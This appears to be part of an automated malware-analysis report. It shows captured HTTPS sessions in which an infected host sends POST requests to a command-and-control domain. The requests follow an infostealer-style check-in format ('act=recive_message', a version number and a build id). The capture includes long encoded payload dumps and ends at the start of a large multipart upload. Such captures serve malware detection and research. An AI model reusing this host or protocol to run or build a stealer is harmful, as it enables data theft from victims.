2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 78 66 6a 37 71 51 53 66 75 65 36 52 49 57 76 74 67 48 58 77 35 73 6a 47 70 74 71 6b 4d 66 33 44 76 66 49 6a 49 4b 74 74 59 38 4e 42 58 4c 39 5a 35 52 73 38 2b 67 4a 77 61 2f 30 69 68 59 44 6d 6a 4a 64 69 61 2b 42 68 6a 63 66 49 42 6a 64 6b 6a 2b 32 79 74 39 52 34 48 4b 6d 6c 32 77 79 75 73 52 42 62 33 61 4c 6b 4a 43 65 6f 4a 73 59 37 51 50 57 49 67 37 69 47 4d 37 44 4c 58 53 50 7a 77 66 78 66 6d 64 55 62 54 44 72 79 77 50 73 38 59 75 57 77 4e 6b 78 33 34 75 76 51 59 5a 31 58 7a 48 4c 48 59 42 70 70 78 72 66 54 4c 6f 77 4e 64 4f 39 64 2f 70 49 77 72 7a 6a 47 6c 51 43 47 58 42 66 79 69 38 41 42 2f 65 65 34 70 6f 4a 41 36 2b 33 44 30 37 48 73 33 2f 6c 6c 32 34 31 4b 55 69 43 37 58 63 4f 78 52 4d 4a 63 74 74 59 2b 74 44 4f 4e 74 33 68 47 34 33 41 66 7a 39 4f Data Ascii: xfj7qQSfue6RIWvtgHXw5sjGptqkMf3DvfIjIKttY8NBXL9Z5Rs8+gJwa/0ihYDmjJdia+BhjcfIBjdkj+2yt9R4HKml2wyusRBb3aLkJCeoJsY7QPWIg7iGM7DLXSPzwfxfmdUbTDrywPs8YuWwNkx34uvQYZ1XzHLHYBppxrfTLowNdO9d/pIwrzjGlQCGXBfyi8AB/ee4poJA6+3D07Hs3/ll241KUiC7XcOxRMJcttY+tDONt3hG43Afz9O
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 35 6d 31 2b 38 79 4b 55 71 43 37 6e 58 4a 42 52 4d 4a 63 74 74 59 2b 74 44 4e 4e 64 32 71 57 6b 36 41 66 37 44 66 53 52 66 78 76 62 58 43 66 76 4b 6f 79 67 50 73 39 30 73 58 41 6c 73 79 58 51 6f 74 67 41 65 33 58 53 4f 63 44 77 46 73 4e 38 2f 4d 52 6e 41 2b 59 56 5a 73 6f 62 6e 5a 41 47 72 6c 48 45 55 49 32 76 42 59 53 53 6a 51 77 65 65 59 73 64 6c 4f 6b 62 6d 6e 44 41 38 45 4d 4c 37 6d 6c 65 79 7a 71 6b 69 41 37 7a 5a 4a 31 4d 46 5a 63 46 37 4c 4c 55 4c 46 64 78 77 69 57 73 77 42 72 2f 57 63 33 4e 66 78 75 4c 58 43 66 76 32 71 69 51 47 71 4a 51 32 47 68 73 6c 79 33 6c 6a 36 30 4d 4b 32 6e 4b 48 59 54 6b 42 75 74 63 2f 4f 42 72 4f 2b 5a 35 55 73 73 69 37 4c 51 69 37 33 43 5a 52 43 57 58 42 66 79 2b 7a 41 46 69 65 4f 34 42 36 64 6c 37 2b 37 6a 34 78 43 63 Data Ascii: 5m1+8yKUqC7nXJBRMJcttY+tDNNd2qWk6Af7DfSRfxvbXCfvKoygPs90sXAlsyXQotgAe3XSOcDwFsN8/MRnA+YVZsobnZAGrlHEUI2vBYSSjQweeYsdlOkbmnDA8EML7mleyzqkiA7zZJ1MFZcF7LLULFdxwiWswBr/Wc3NfxuLXCfv2qiQGqJQ2Ghsly3lj60MK2nKHYTkButc/OBrO+Z5Ussi7LQi73CZRCWXBfy+zAFieO4B6dl7+7j4xCc
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 75 4d 57 67 49 77 36 2f 33 69 70 54 51 69 75 4d 63 6a 76 7a 57 31 6a 7a 62 4a 64 76 64 68 6e 77 78 58 4d 36 45 34 47 69 31 31 6d 32 7a 71 4d 67 41 62 37 54 4c 31 30 51 62 4d 6c 37 49 37 63 49 46 39 5a 2f 68 47 49 6b 41 4c 72 55 4d 44 41 53 7a 2f 6d 54 45 66 57 47 72 6a 78 47 36 35 51 62 57 51 78 2b 77 33 49 79 75 55 4d 48 6e 6d 4c 48 5a 54 70 47 35 70 77 33 4d 77 33 4b 2b 35 78 61 74 63 47 6d 49 51 79 7a 32 79 31 58 44 47 37 4e 64 69 75 2b 44 68 62 61 63 6f 35 6c 4f 67 4b 35 6e 48 31 39 47 4e 6d 36 7a 78 47 51 35 34 51 49 41 61 6d 55 4e 68 6f 62 4a 63 74 35 59 2b 74 44 46 4e 6c 33 6a 57 6b 78 44 4c 44 56 50 54 59 4e 30 2f 6d 54 55 72 4c 46 72 69 30 49 73 39 4d 73 57 67 56 6b 78 33 45 70 73 41 56 59 6e 6a 75 41 65 6e 5a 65 2f 76 41 77 50 52 4c 62 75 6f 67 Data Ascii: uMWgIw6/3ipTQiuMcjvzW1jzbJdvdhnwxXM6E4Gi11m2zqMgAb7TL10QbMl7I7cIF9Z/hGIkALrUMDASz/mTEfWGrjxG65QbWQx+w3IyuUMHnmLHZTpG5pw3Mw3K+5xatcGmIQyz2y1XDG7Ndiu+Dhbaco5lOgK5nH19GNm6zxGQ54QIAamUNhobJct5Y+tDFNl3jWkxDLDVPTYN0/mTUrLFri0Is9MsWgVkx3EpsAVYnjuAenZe/vAwPRLbuog
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 53 6b 55 73 4e 73 6d 55 41 4a 71 79 6e 4d 69 76 41 55 66 32 58 71 50 5a 58 5a 49 2f 74 73 72 66 55 65 42 31 4a 42 53 76 34 61 32 61 68 2f 7a 30 79 55 55 57 69 58 4d 66 79 6d 35 44 52 6a 58 61 59 46 72 4e 67 57 73 33 7a 55 31 47 63 33 32 6d 6c 6d 79 78 71 77 76 43 37 6a 5a 4c 31 51 4a 5a 49 77 37 59 37 51 62 57 49 67 37 74 6d 38 34 41 72 44 66 49 7a 70 66 33 72 53 4f 45 62 7a 4b 36 58 78 47 76 4e 30 37 55 77 64 74 78 58 55 74 75 67 6f 66 31 48 69 47 5a 6a 6f 4a 74 39 38 37 50 42 66 4f 2b 5a 64 61 73 38 79 6f 4b 67 50 7a 6d 6d 6c 54 47 69 57 55 4e 51 79 77 42 68 50 52 4f 61 42 6b 4d 51 72 2b 77 33 30 6b 58 38 62 32 31 77 6e 37 78 61 30 71 44 37 7a 51 49 31 4d 43 59 73 70 31 4b 37 67 4f 45 38 4a 2b 69 57 63 33 42 72 2f 54 50 7a 30 4e 78 50 53 63 58 4c 2b 47 Data Ascii: SkUsNsmUAJqynMivAUf2XqPZXZI/tsrfUeB1JBSv4a2ah/z0yUUWiXMfym5DRjXaYFrNgWs3zU1Gc32mlmyxqwvC7jZL1QJZIw7Y7QbWIg7tm84ArDfIzpf3rSOEbzK6XxGvN07UwdtxXUtugof1HiGZjoJt987PBfO+Zdas8yoKgPzmmlTGiWUNQywBhPROaBkMQr+w30kX8b21wn7xa0qD7zQI1MCYsp1K7gOE8J+iWc3Br/TPz0NxPScXL+G
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 4f 55 5a 78 51 4e 4a 5a 52 4d 59 2f 74 44 4a 35 34 37 6e 79 4a 75 52 6f 76 66 50 54 4d 59 31 2b 76 61 63 71 33 4c 70 69 38 48 38 35 70 70 55 6b 49 39 6e 44 74 6a 74 78 4a 59 69 43 76 56 4f 57 4e 56 36 59 78 68 49 6c 48 59 75 6f 45 52 34 35 54 6e 5a 42 54 7a 6a 47 6b 54 44 47 6a 4e 64 69 32 77 45 51 72 57 65 4a 46 68 63 54 69 41 2f 54 34 32 45 38 7a 31 6e 47 2b 46 35 36 51 76 43 72 37 62 49 6d 6f 38 63 4d 39 37 4c 62 51 56 43 5a 41 31 78 32 31 32 58 6f 65 63 65 33 30 67 6a 37 71 50 45 65 4f 47 6e 43 63 49 76 64 4d 2f 52 55 39 45 77 58 34 76 76 67 77 54 6b 44 58 48 5a 48 5a 65 37 70 4a 7a 4f 51 36 42 6f 73 63 44 34 4a 50 36 63 31 62 68 79 32 64 4e 51 6e 4f 4d 4c 58 48 39 51 77 71 51 49 38 63 6c 4e 52 53 73 32 6a 41 72 48 49 62 45 71 58 4b 73 30 4b 4d 2f 52 Data Ascii: OUZxQNJZRMY/tDJ547nyJuRovfPTMY1+vacq3Lpi8H85ppUkI9nDtjtxJYiCvVOWNV6YxhIlHYuoER45TnZBTzjGkTDGjNdi2wEQrWeJFhcTiA/T42E8z1nG+F56QvCr7bImo8cM97LbQVCZA1x212Xoece30gj7qPEeOGnCcIvdM/RU9EwX4vvgwTkDXHZHZe7pJzOQ6BoscD4JP6c1bhy2dNQnOMLXH9QwqQI8clNRSs2jArHIbEqXKs0KM/R
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 4d 4f 79 57 45 4e 52 7a 39 51 77 43 51 49 38 64 58 4e 51 69 77 32 79 55 73 55 75 54 74 6c 45 47 39 78 65 6c 71 52 72 57 55 63 51 52 4d 4a 63 68 6b 59 2b 74 54 53 6f 73 75 31 44 56 6d 56 4b 47 53 4b 6e 30 4a 67 61 4c 46 48 2f 76 55 36 58 78 47 39 4e 63 37 52 67 52 6d 32 6e 5a 6b 6a 54 30 2b 30 32 71 4e 51 7a 73 57 75 65 49 4e 4b 42 7a 50 39 4a 42 48 71 6f 62 6e 5a 41 6e 7a 6a 42 41 55 53 69 6e 4b 64 6a 58 7a 50 46 61 51 59 38 63 36 64 6a 4f 39 30 6a 30 36 43 64 43 33 73 56 4b 71 7a 49 67 70 46 72 53 55 5a 78 51 45 4a 5a 51 6d 62 66 4d 48 43 5a 41 6a 31 7a 42 74 55 2b 32 4c 59 32 38 41 6a 2b 50 58 52 2f 75 65 2b 32 70 47 6f 5a 52 78 46 45 56 6d 33 6d 63 6c 73 42 55 62 6c 30 57 35 56 7a 55 49 73 4e 73 6c 43 42 7a 51 2b 5a 64 61 68 66 69 49 4b 67 32 30 32 44 Data Ascii: MOyWENRz9QwCQI8dXNQiw2yUsUuTtlEG9xelqRrWUcQRMJchkY+tTSosu1DVmVKGSKn0JgaLFH/vU6XxG9Nc7RgRm2nZkjT0+02qNQzsWueINKBzP9JBHqobnZAnzjBAUSinKdjXzPFaQY8c6djO90j06CdC3sVKqzIgpFrSUZxQEJZQmbfMHCZAj1zBtU+2LY28Aj+PXR/ue+2pGoZRxFEVm3mclsBUbl0W5VzUIsNslCBzQ+ZdahfiIKg202D
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 36 6e 59 31 73 45 4e 57 6b 47 50 48 4f 6e 59 79 74 63 67 77 4d 78 6e 4b 75 6f 67 66 6f 6f 61 2f 5a 46 37 67 6d 6d 6c 47 51 6a 32 4d 4d 69 32 2b 41 68 76 65 65 4a 56 77 4d 41 57 6f 33 33 51 44 49 5a 43 75 78 58 47 72 79 37 77 31 41 61 50 71 46 33 51 53 61 4e 6c 6b 4a 4b 4d 39 4a 75 64 71 67 48 4a 30 49 4c 33 4b 4d 48 31 52 67 65 4c 58 43 66 75 58 2f 58 59 6d 6f 39 6b 38 52 51 56 31 6a 47 70 74 71 6b 4d 4f 6b 43 50 55 4c 48 59 55 2f 6f 52 7a 65 68 48 4d 2b 35 52 66 75 4e 53 37 49 67 57 6c 31 32 35 71 50 45 54 42 64 41 4b 2b 41 69 62 75 57 35 64 76 49 78 65 35 7a 41 30 44 4b 4e 44 39 68 78 4f 64 78 62 38 6e 52 76 32 55 4d 52 52 61 4a 65 31 34 49 70 49 4f 47 5a 42 6b 79 58 74 32 45 50 36 45 59 33 4e 66 30 37 72 50 45 66 7a 46 75 7a 59 41 73 4d 49 71 45 7a 78 Data Ascii: 6nY1sENWkGPHOnYytcgwMxnKuogfooa/ZF7gmmlGQj2MMi2+AhveeJVwMAWo33QDIZCuxXGry7w1AaPqF3QSaNlkJKM9JudqgHJ0IL3KMH1RgeLXCfuX/XYmo9k8RQV1jGptqkMOkCPULHYU/oRzehHM+5RfuNS7IgWl125qPETBdAK+AibuW5dvIxe5zA0DKND9hxOdxb8nRv2UMRRaJe14IpIOGZBkyXt2EP6EY3Nf07rPEfzFuzYAsMIqEzx

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	63740	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:30 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:43:30 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:43:31 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eofo22p16ic36fsjc7ncq3bfrd; expires=Tue, 17-Sep-2024 05:30:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SpkAX0gF%2FRWafa8wwOhx3Nlfv1VFyRpLq0ecgv%2BtFhRXZJSXZ%2FUxW0VkQnRyjk7FQIVrtyoJrd16JzNzwbxnZC6cyh9MCgK8VP4bXl%2F4e%2B8UN8B2rt0Gwl1TSafhXgf894IkKBtmJElEPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d074a0ce60f95-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:31 UTC	553	IN	Data Raw: 34 65 36 0d 0a 31 6d 49 68 6d 36 37 31 58 4a 61 69 54 63 42 64 52 5a 36 52 42 7a 75 4d 31 79 58 65 6b 63 33 36 74 56 55 47 46 31 42 67 52 4f 47 74 51 46 65 35 6c 4d 46 77 74 4e 45 6f 34 6d 63 78 37 4f 52 69 46 36 36 32 51 66 79 72 71 35 76 5a 4a 6d 4d 37 63 67 55 38 77 2b 77 35 57 72 6e 4c 6d 33 36 73 67 43 69 71 50 79 54 79 38 32 5a 51 34 36 64 4a 76 66 6d 68 6e 64 30 77 5a 58 4d 78 44 43 6d 45 73 77 64 41 38 63 43 63 4d 66 37 50 62 2b 78 2f 49 4f 53 7a 50 52 6e 42 73 6c 47 2f 33 4b 79 4a 33 6e 64 37 4f 79 74 43 49 59 2f 30 57 41 50 36 79 35 63 77 38 4d 59 6d 71 44 55 74 2b 76 4a 6a 55 66 79 2b 51 37 62 35 72 35 37 63 4f 6d 78 6e 50 41 59 75 6a 37 55 4e 51 4c 6d 43 31 7a 6e 73 67 48 66 69 62 42 58 2f 34 6e 52 4d 34 36 56 42 2f 4f 7a 68 67 5a 63 77 61 44 Data Ascii: 4e61mIhm671XJaiTcBdRZ6RBzuM1yXekc36tVUGF1BgROGtQFe5lMFwtNEo4mcx7ORiF662Qfyrq5vZJmM7cgU8w+w5WrnLm36sgCiqPyTy82ZQ46dJvfmhnd0wZXMxDCmEswdA8cCcMf7Pb+x/IOSzPRnBslG/3KyJ3nd7OytCIY/0WAP6y5cw8MYmqDUt+vJjUfy+Q7b5r57cOmxnPAYuj7UNQLmC1znsgHfibBX/4nRM46VB/OzhgZcwaD
2024-05-24 11:43:31 UTC	708	IN	Data Raw: 63 69 52 43 4f 63 32 74 51 45 54 31 6a 4d 39 2b 2b 73 55 67 73 44 34 31 2b 66 31 33 56 65 75 7a 53 72 2f 39 72 35 33 51 4f 6d 70 7a 4e 51 45 75 68 37 55 4f 54 2f 50 50 6b 7a 32 30 6a 6d 2b 6c 4a 32 65 6b 73 31 52 61 36 72 4a 56 76 2f 33 76 68 35 6b 75 4a 48 49 2b 51 6e 37 44 76 67 5a 4f 38 4d 65 51 4e 76 6a 53 4a 4b 30 38 4c 76 76 31 62 31 72 6d 76 30 47 79 38 71 69 64 30 43 56 71 66 6a 38 42 4c 49 58 30 54 67 50 2b 31 4e 64 6d 74 4f 34 73 73 79 6b 56 2f 2b 4a 30 47 66 48 37 58 76 7a 30 6f 39 69 50 64 32 31 39 50 51 38 72 69 62 6f 46 54 76 44 4e 6c 6a 50 79 79 79 36 71 4e 79 50 37 38 32 46 55 34 62 74 48 73 76 75 71 6e 4e 30 2b 4a 44 74 79 42 54 37 44 37 45 42 7a 39 4d 43 63 4d 72 62 31 4c 4b 77 78 49 4f 71 7a 65 68 66 33 39 55 43 77 73 2f 66 59 78 54 78 Data Ascii: ciRCOc2tQET1jM9++sUgsD41+f13VeuzSr/9r53QOmpzNQEuh7UOT/PPkz20jm+lJ2eks1Ra6rJVv/3vh5kuJHI+Qn7DvgZO8MeQNvjSJK08Lvv1b1rmv0Gy8qid0CVqfj8BLIX0TgP+1NdmtO4ssykV/+J0GfH7Xvz0o9iPd219PQ8riboFTvDNljPyyy6qNyP782FU4btHsvuqnN0+JDtyBT7D7EBz9MCcMrb1LKwxIOqzehf39UCws/fYxTx
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 32 30 61 38 0d 0a 62 39 2f 57 39 53 72 76 73 48 75 2b 76 76 77 4a 63 59 61 57 55 67 43 43 32 53 39 6a 56 41 39 38 4b 51 4b 4c 54 66 59 62 74 2f 49 50 43 7a 50 52 6e 6c 73 30 75 77 38 36 6d 4b 32 54 68 32 66 79 41 47 4b 49 65 34 44 6b 72 30 77 35 49 73 38 4d 41 39 6f 7a 6f 67 38 76 35 33 58 4b 37 37 42 37 76 72 37 38 43 58 44 56 42 79 49 68 4d 68 77 59 45 44 54 66 66 4c 67 58 37 72 6a 6a 62 69 4f 43 75 38 71 79 56 61 34 72 68 4f 75 66 79 39 6b 74 73 32 64 6e 49 37 43 79 79 43 75 67 39 49 39 63 6d 46 4e 66 76 49 49 4b 4d 79 4b 76 66 33 5a 52 6d 67 39 55 43 6b 73 2f 66 59 39 6a 70 72 5a 7a 45 54 5a 4c 61 33 44 6b 33 2b 32 74 63 68 75 74 6c 76 70 54 4e 6e 70 4c 4e 6b 56 65 4b 30 53 4c 72 35 70 35 76 57 4a 57 31 36 4f 67 30 76 67 72 63 45 51 76 50 65 68 54 37 Data Ascii: 20a8b9/W9SrvsHu+vvwJcYaWUgCC2S9jVA98KQKLTfYbt/IPCzPRnls0uw86mK2Th2fyAGKIe4Dkr0w5Is8MA9ozog8v53XK77B7vr78CXDVByIhMhwYEDTffLgX7rjjbiOCu8qyVa4rhOufy9kts2dnI7CyyCug9I9cmFNfvIIKMyKvf3ZRmg9UCks/fY9jprZzETZLa3Dk3+2tchutlvpTNnpLNkVeK0SLr5p5vWJW16Og0vgrcEQvPehT7
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 44 59 69 38 50 35 6d 53 2b 32 30 42 2f 4b 7a 71 49 43 58 62 79 52 53 41 54 55 46 77 36 74 4f 57 72 6e 4c 6d 33 36 73 67 43 36 71 4f 43 6e 34 34 57 74 4c 34 4c 4a 48 75 76 75 6e 6e 39 73 35 61 6d 63 36 41 79 61 4e 75 77 68 4b 2f 63 32 54 4f 76 6a 48 62 2b 78 2f 49 4f 53 7a 50 52 6e 47 74 6c 32 6d 73 59 47 54 31 7a 42 30 59 79 6c 43 4f 63 32 74 51 45 54 31 6a 4d 39 2b 38 4d 73 6c 71 7a 77 75 2b 50 35 6c 55 4f 47 38 54 37 48 37 76 5a 6e 64 4a 57 42 77 4d 77 30 73 68 37 77 4d 54 50 58 49 68 54 57 30 6a 6d 2b 6c 4a 32 65 6b 73 30 56 53 2b 4a 5a 56 72 72 4f 77 31 73 35 33 59 33 6c 79 57 6d 61 4b 75 41 46 43 38 38 71 63 4f 2f 6e 41 4b 71 67 34 4b 2f 7a 7a 5a 6c 2f 6f 75 45 2b 30 2f 36 4f 62 32 6a 4a 67 5a 79 41 47 4c 73 50 36 51 45 54 68 6a 4d 39 2b 2f 2f 55 68 Data Ascii: DYi8P5mS+20B/KzqICXbyRSATUFw6tOWrnLm36sgC6qOCn44WtL4LJHuvunn9s5amc6AyaNuwhK/c2TOvjHb+x/IOSzPRnGtl2msYGT1zB0YylCOc2tQET1jM9+8Mslqzwu+P5lUOG8T7H7vZndJWBwMw0sh7wMTPXIhTW0jm+lJ2eks0VS+JZVrrOw1s53Y3lyWmaKuAFC88qcO/nAKqg4K/zzZl/ouE+0/6Ob2jJgZyAGLsP6QEThjM9+//Uh
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 72 6b 64 47 7a 70 74 52 62 38 37 4f 47 42 6c 7a 42 6f 4e 57 70 43 4b 34 2b 2b 44 55 62 39 78 4a 41 39 39 63 77 72 72 7a 49 6a 39 66 64 67 53 2f 79 7a 53 62 7a 38 6f 5a 66 62 4a 57 70 77 4d 67 35 6d 7a 66 51 48 57 37 6d 55 31 77 2f 6a 77 47 2b 39 63 54 36 38 39 47 6b 5a 74 76 56 49 73 65 47 6a 6c 39 63 32 5a 33 45 35 42 53 43 46 74 51 4e 47 2b 73 6d 52 50 2f 54 4d 4a 61 55 33 4c 66 4c 2b 59 31 33 6f 73 77 66 79 73 36 69 41 6c 32 38 6b 52 7a 38 4d 4c 34 43 79 44 56 58 52 2f 64 63 68 75 74 6c 76 70 54 4e 6e 70 4c 4e 68 55 75 61 35 51 72 54 32 72 70 44 64 50 32 74 36 49 41 4d 70 69 72 4d 4c 54 76 62 43 6b 6a 44 6d 78 79 53 70 4e 79 37 79 39 53 55 58 72 72 4a 66 2f 4b 76 76 72 74 51 35 62 32 51 39 41 53 72 44 71 30 35 61 75 63 75 62 66 71 79 41 4a 61 6b 37 4a Data Ascii: rkdGzptRb87OGBlzBoNWpCK4++DUb9xJA99cwrrzIj9fdgS/yzSbz8oZfbJWpwMg5mzfQHW7mU1w/jwG+9cT689GkZtvVIseGjl9c2Z3E5BSCFtQNG+smRP/TMJaU3LfL+Y13oswfys6iAl28kRz8ML4CyDVXR/dchutlvpTNnpLNhUua5QrT2rpDdP2t6IAMpirMLTvbCkjDmxySpNy7y9SUXrrJf/KvvrtQ5b2Q9ASrDq05aucubfqyAJak7J
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 77 36 61 35 47 74 76 43 6b 6c 4a 63 6f 4b 6d 78 79 42 53 72 44 37 45 42 4f 39 63 47 54 4c 50 6a 41 4c 36 73 34 4c 65 37 38 61 6c 54 74 74 55 4b 75 38 72 32 58 33 44 4a 6e 63 54 30 4e 4b 6f 75 2b 51 41 32 35 79 34 39 2b 72 49 41 44 6f 53 34 74 76 74 52 2f 54 2b 6d 35 56 72 66 2b 6f 39 6a 49 65 58 30 31 4e 51 35 6d 32 2f 51 41 51 76 54 65 6b 6a 2f 2b 79 69 4b 71 4d 43 4c 35 2f 47 46 64 35 62 74 56 73 76 79 76 6e 74 77 32 59 58 59 35 43 43 69 4b 70 6b 41 4e 75 63 75 50 66 71 79 41 42 62 6b 2b 4b 76 43 78 53 31 4c 34 73 67 57 64 2f 61 53 66 32 79 45 6b 61 6e 77 62 5a 6f 53 34 51 42 75 35 78 5a 6b 79 39 38 63 6e 71 6a 6f 6e 39 2f 4e 71 55 2b 43 79 56 62 62 2f 70 59 72 59 4e 47 6c 78 50 77 67 6a 69 71 59 46 53 76 2b 4d 32 58 37 7a 32 47 2f 36 66 78 2f 33 2f 56 Data Ascii: w6a5GtvCklJcoKmxyBSrD7EBO9cGTLPjAL6s4Le78alTttUKu8r2X3DJncT0NKou+QA25y49+rIADoS4tvtR/T+m5Vrf+o9jIeX01NQ5m2/QAQvTekj/+yiKqMCL5/GFd5btVsvyvntw2YXY5CCiKpkANucuPfqyABbk+KvCxS1L4sgWd/aSf2yEkanwbZoS4QBu5xZky98cnqjon9/NqU+CyVbb/pYrYNGlxPwgjiqYFSv+M2X7z2G/6fx/3/V
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 53 50 7a 73 34 59 47 58 4d 47 67 31 61 6b 49 30 6b 62 51 4c 51 2f 37 43 68 54 2f 38 7a 79 57 69 4f 53 7a 32 38 47 78 64 34 4c 78 42 76 66 36 75 6d 64 63 79 5a 48 77 67 44 32 62 4e 39 41 64 62 75 5a 54 58 43 66 6a 4c 48 71 45 70 5a 2b 50 4d 4b 78 6e 68 72 77 66 6b 79 72 62 59 30 44 73 6b 4c 58 49 58 49 59 4f 7a 47 6c 58 2b 77 49 59 31 2b 63 77 4e 72 54 67 78 2f 2f 78 6d 53 4f 66 35 54 4c 47 7a 34 64 6a 51 4c 79 51 74 63 69 30 68 6c 62 63 76 51 4f 6a 46 31 33 43 30 78 7a 6e 69 5a 32 66 43 73 33 64 61 2f 72 5a 49 72 63 33 76 77 4d 34 4a 4a 48 34 6b 42 54 61 41 6f 67 74 4f 39 64 32 70 66 71 79 55 66 66 42 74 64 61 37 73 4a 55 62 52 2b 77 65 39 73 2f 65 68 7a 6e 64 79 4e 57 70 51 61 4d 4f 6d 51 42 75 35 69 35 51 73 35 73 59 73 74 44 78 67 77 73 31 43 54 2b 53 Data Ascii: SPzs4YGXMGg1akI0kbQLQ/7ChT/8zyWiOSz28Gxd4LxBvf6umdcyZHwgD2bN9AdbuZTXCfjLHqEpZ+PMKxnhrwfkyrbY0DskLXIXIYOzGlX+wIY1+cwNrTgx//xmSOf5TLGz4djQLyQtci0hlbcvQOjF13C0xzniZ2fCs3da/rZIrc3vwM4JJH4kBTaAogtO9d2pfqyUffBtda7sJUbR+we9s/ehzndyNWpQaMOmQBu5i5Qs5sYstDxgws1CT+S
2024-05-24 11:43:31 UTC	1369	IN	Data Raw: 2f 7a 57 6c 7a 4e 31 4e 57 70 53 64 4e 6a 68 55 78 53 70 6e 6f 68 77 37 59 41 35 34 6d 64 31 73 72 4e 33 47 62 62 31 41 4c 2f 68 76 5a 37 55 49 57 63 79 44 44 77 6e 6a 72 74 4d 54 66 4c 4d 6b 43 37 69 32 32 4f 71 50 44 33 6d 7a 56 74 79 34 72 4e 41 70 76 53 70 76 76 63 4a 57 6a 31 2b 44 43 47 58 73 77 35 46 2b 59 7a 5a 66 76 75 41 64 35 74 2f 62 37 7a 4d 4b 78 6e 32 39 52 2f 38 78 71 79 57 32 54 42 79 5a 48 38 71 42 62 6d 4f 51 6d 2f 2b 32 64 55 4b 38 39 41 2b 71 54 49 72 76 4c 30 6c 58 36 37 74 46 2f 4b 7a 71 34 6d 58 62 7a 51 6e 61 56 64 31 31 4f 52 53 58 4c 66 56 31 79 69 30 6d 48 33 73 66 7a 57 38 71 79 55 65 37 61 64 56 75 76 43 35 6d 35 41 4a 57 6c 49 38 42 53 65 56 70 42 64 4d 78 2f 4b 43 50 66 72 4f 4b 4c 51 75 5a 37 4b 7a 61 68 6d 32 6a 41 66 30 Data Ascii: /zWlzN1NWpSdNjhUxSpnohw7YA54md1srN3Gbb1AL/hvZ7UIWcyDDwnjrtMTfLMkC7i22OqPD3mzVty4rNApvSpvvcJWj1+DCGXsw5F+YzZfvuAd5t/b7zMKxn29R/8xqyW2TByZH8qBbmOQm/+2dUK89A+qTIrvL0lX67tF/Kzq4mXbzQnaVd11ORSXLfV1yi0mH3sfzW8qyUe7adVuvC5m5AJWlI8BSeVpBdMx/KCPfrOKLQuZ7Kzahm2jAf0
2024-05-24 11:43:31 UTC	154	IN	Data Raw: 6c 33 64 6a 56 71 51 6d 47 41 70 68 4a 46 2b 74 71 55 65 63 72 2b 41 72 41 34 4e 2f 2b 78 56 46 54 71 6f 31 4b 2f 34 36 69 6d 36 52 70 32 63 69 49 42 5a 4c 4b 69 41 30 50 33 79 39 64 77 74 4e 68 76 2b 6e 38 4b 37 76 52 31 57 71 36 71 43 61 57 7a 75 64 69 50 5a 43 6f 31 49 45 4a 2b 77 2f 4d 4f 54 76 6a 50 6d 54 33 6d 30 69 6d 68 4b 53 53 37 7a 56 74 30 2f 4c 4a 58 76 37 47 65 6c 64 4d 68 63 58 59 69 42 52 69 39 6d 52 4a 45 36 63 2f 56 45 76 50 4e 49 35 0d 0a Data Ascii: l3djVqQmGAphJF+tqUecr+ArA4N/+xVFTqo1K/46im6Rp2ciIBZLKiA0P3y9dwtNhv+n8K7vR1Wq6qCaWzudiPZCo1IEJ+w/MOTvjPmT3m0imhKSS7zVt0/LJXv7GeldMhcXYiBRi9mRJE6c/VEvPNI5

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	63741	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:30 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
